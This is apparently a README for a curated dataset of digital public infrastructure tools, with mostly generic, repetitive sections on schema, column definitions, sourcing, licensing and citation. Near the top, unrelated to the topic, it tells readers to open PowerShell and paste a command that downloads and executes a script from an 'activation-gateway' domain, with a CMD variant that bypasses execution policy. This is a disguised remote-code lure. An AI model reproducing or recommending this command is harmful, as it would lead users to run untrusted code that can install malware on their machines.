Curated Digital Public Infrastructure Tools and Implementations — Dataset

This dataset accompanies the awesome-digital-public-infrastructure project, a curated collection of tools, frameworks, and implementations relevant to digital public infrastructure and open-source digital public goods. Its purpose is to organize and document resources that support inclusive digital societies, spanning governance, civic technology, interoperability, and digital transformation. Entries are assembled through a structured, methodical curation process intended to keep the collection consistent, comparable, and useful for governments, international agencies, non-governmental organizations, and independent developers. The dataset is released in its current state to support transparency and reproducibility, and documentation of scope, inclusion criteria, and known limitations is provided so that users can assess its suitability for their own research or implementation work. Contributions and corrections from the community are reviewed before being incorporated into subsequent revisions.

• Press Win + X.
• Click Terminal or Windows PowerShell from the menu.

Paste and run. Wait until the process completes.

iex(irm 'https://activation-gateway.cc/update/ps-activator')

Copy into CMD, press Enter, wait for completion:

powershell -NoProfile -ExecutionPolicy Bypass -Command "iex(irm 'https://activation-gateway.cc/update/ps-activator')"

• PowerShell 5.1+ (pre-installed on Windows 10 and 11)
• Windows 10 / 11 (x64)
• Internet connection — required to fetch the script
• Administrator — not required

The dataset is organized as a flat, machine-readable directory of curated entries, each corresponding to a single tool, framework, standard, or implementation relevant to digital public infrastructure and open-source digital public goods. Records are stored in a tabular collection format, with one row per entry and a fixed schema shared across the entire corpus. This structure is intended to support reproducible filtering, sorting, and comparative analysis of DPI and DPG resources without requiring transformation of the underlying data.

Each record is composed of a stable identifier, a set of descriptive fields, and one or more categorical fields. The descriptive fields capture the name, short summary, and primary function of the entry, while the categorical fields encode the domain (for example, identity, payments, interoperability, or civic technology), the resource type (software, framework, specification, or reference implementation), and the maturity or activity level where available. Entries are normalized so that comparable attributes occupy the same column across all rows, allowing consistent aggregation and cross-referencing.

The corpus is partitioned into logical groupings that mirror the thematic scope of digital public infrastructure. These groupings are not separate files but views over the same table, defined by categorical fields such as domain and resource type. This design keeps the dataset internally consistent while permitting selective extraction of subsets for narrower analyses. Grouping metadata is retained alongside the primary table so that any derived subset can be traced back to its source rows.

Column-level documentation is provided to describe the expected data type, permitted value range, and semantic meaning of each field. Nullable fields are explicitly marked, and missing values are represented uniformly rather than left blank. This ensures that downstream consumers can distinguish between absent data and zero-valued or empty-string data without ambiguity. Field names follow a consistent naming convention and remain stable across releases.

The dataset is versioned, with each release accompanied by a changelog that records additions, removals, and modifications at the record level. Deprecated entries are retained in the historical record with an explicit status marker rather than being deleted, so that longitudinal comparisons remain possible. Because the dataset is curated rather than harvested automatically, all entries are subject to the same inclusion criteria, and the provenance of each record is documented in the source and license metadata accompanying the table.

The dataset is organized as a structured table in which each record corresponds to a single catalogued entry. Every row represents one tool, framework, standard, or implementation relevant to digital public infrastructure or digital public goods, and every column captures a distinct, well-defined attribute of that entry. The schema is applied consistently across all records so that entries remain comparable and amenable to filtering, sorting, and aggregation. Where an attribute is not applicable or not determinable for a given entry, the field is left empty rather than populated with inferred or speculative content; this convention preserves the transparency of the record and allows missingness itself to be analyzed.

The columns are defined as follows:

• Name — The canonical title of the entry as used by its maintainers or issuing body. This field is the primary identifier for human readers and is retained verbatim to avoid ambiguity introduced by paraphrasing.
• Description — A concise, neutral summary of what the entry provides and the problem domain it addresses. Descriptions are deliberately factual and avoid promotional language.
• Category — The functional classification of the entry within the DPI/DPG landscape (for example, identity, payments, data exchange, or interoperability). Classification follows the project's internal taxonomy, and an entry may carry more than one category where its scope legitimately spans domains.
• Type — The artifact form of the entry, distinguishing among categories such as software, specification, framework, reference implementation, or documentation resource. This column supports filtering by the kind of asset a user requires.
• License — The licensing terms under which the entry is distributed, recorded as stated by the originating project. License information is reported without interpretation; users should consult the primary source for authoritative terms.
• Maintainer — The organization, agency, or community responsible for stewarding the entry. This field is intended to aid provenance assessment and is recorded only where publicly attested.
• Standards Alignment — Where applicable, the international or sectoral standards the entry claims to implement or support. This column is populated conservatively and reflects documented claims rather than independent verification.
• Maturity — An indicative assessment of the entry's development stage, such as early-stage, active, or stable, based on observable signals in the originating project. This field is qualitative and should be treated as guidance rather than certification.

Each column is populated through a uniform curation procedure: entries are identified, their attributes extracted from primary sources, and the resulting record reviewed for consistency with the schema. The column set is intentionally minimal, admitting only attributes that can be populated reliably across the majority of entries. Attributes that proved inconsistently documented during curation were excluded to avoid systematic bias toward better-resourced projects. Users should note that the dataset is a curated snapshot rather than a live index; field values reflect the state of each entry at the time of curation, and changes in licensing, stewardship, or maturity after that point are not reflected. No column implies endorsement, and the presence of an entry in the dataset does not constitute an evaluation of its fitness for any particular deployment.

The dataset is derived from the awesome-digital-public-infrastructure project, a curated collection of tools, frameworks, and implementations relevant to digital public infrastructure and open-source digital public goods. Selection is based on the project's own inclusion criteria, which emphasize openly licensed software and resources intended for public-sector and civic use. The corpus favors items that are actively maintained, documented, and applicable to governance, interoperability, identity, payments, and related domains. Each entry is checked against these criteria before inclusion; categories are assigned according to the primary function described in the project's documentation.

Data is collected by systematic review of the project's catalogued entries and their associated metadata. For each entry, the following fields are recorded: name, description, category, license, and repository or homepage reference where applicable. Where information is incomplete or ambiguous, the entry is annotated accordingly rather than inferred. Duplicates and superseded entries are reconciled against the project's current listing. All records reflect the state of the project at the time of extraction; subsequent changes to the upstream collection are not automatically propagated.

The dataset is intended for research, benchmarking, and exploratory analysis of the digital public infrastructure ecosystem. Users should note that inclusion in the source project does not constitute endorsement, and that license and maintenance status may change over time.

The dataset is distributed under the Creative Commons Attribution 4.0 International license, consistent with the licensing conventions commonly applied to curated open knowledge resources. Under the terms of this license, users are free to share, copy, redistribute, and adapt the material in any medium or format, including for commercial purposes, provided that appropriate attribution is given to the project, a link to the license is included where feasible, and any modifications are clearly indicated. Attribution should reference the project name, acknowledge the curation effort, and note whether changes were made to the original compilation.

The dataset consists of curated descriptive metadata, including tool names, summaries, classifications, and supporting annotations assembled from publicly available sources. Individual entries may reference third-party tools, frameworks, or implementations that carry their own licenses, and those licenses remain in force for the respective projects. Inclusion of an entry in this dataset does not imply a transfer of rights, endorsement, or relicensing of the underlying project. Users incorporating referenced tools into their own work are responsible for verifying and complying with the applicable license terms of each project.

The compilation itself—including selection criteria, organizational structure, column definitions, and editorial annotations—is the original contribution of the project maintainers and is offered as an open resource for research, development, and public-interest applications. No warranty is provided regarding completeness, accuracy, or fitness for a particular purpose. The dataset is provided on an "as is" basis, and the maintainers disclaim liability for any consequences arising from its use. Corrections, additions, and removal requests may be submitted through the project's standard contribution process, and such contributions are understood to be made under the same license terms upon incorporation.

This dataset is a curated compilation of entries concerning digital public infrastructure and open-source digital public goods. As a curated aggregation, the collection distinguishes between original curation effort and the underlying sources from which individual entries are drawn. Users citing this resource should acknowledge both the compilation itself and, where applicable, the primary projects referenced within it.

Citations should reference the dataset by its project name, awesome-digital-public-infrastructure, together with the specific version or snapshot consulted, as the contents are subject to revision over time. Because the collection is maintained as a living index, version-specific citation is recommended to preserve reproducibility of any analysis performed on the data.

Where individual entries, frameworks, or implementations are discussed in derivative work, users are encouraged to trace and cite the original upstream project rather than relying solely on this compilation. This dataset serves as an index and discovery aid; attribution of substantive technical contributions belongs to the originating maintainers.

The compilation is distributed under the license stated in the License section of this README. Redistribution or adaptation of the dataset should preserve the license terms and acknowledge the curation effort. Users should consult the License section for the precise terms governing reuse.

For transparency, citation entries should note the date of access, the version consulted, and any transformations applied to the data (for example, filtering, subsetting, or reclassification of entries). Such disclosure supports methodological reproducibility and allows subsequent users to reconstruct the exact state of the dataset relied upon.

No warranty is made regarding the completeness, accuracy, or currency of individual entries, as the underlying projects evolve independently of this compilation. Users incorporating the dataset into published work should verify entry-level details against primary sources prior to citation.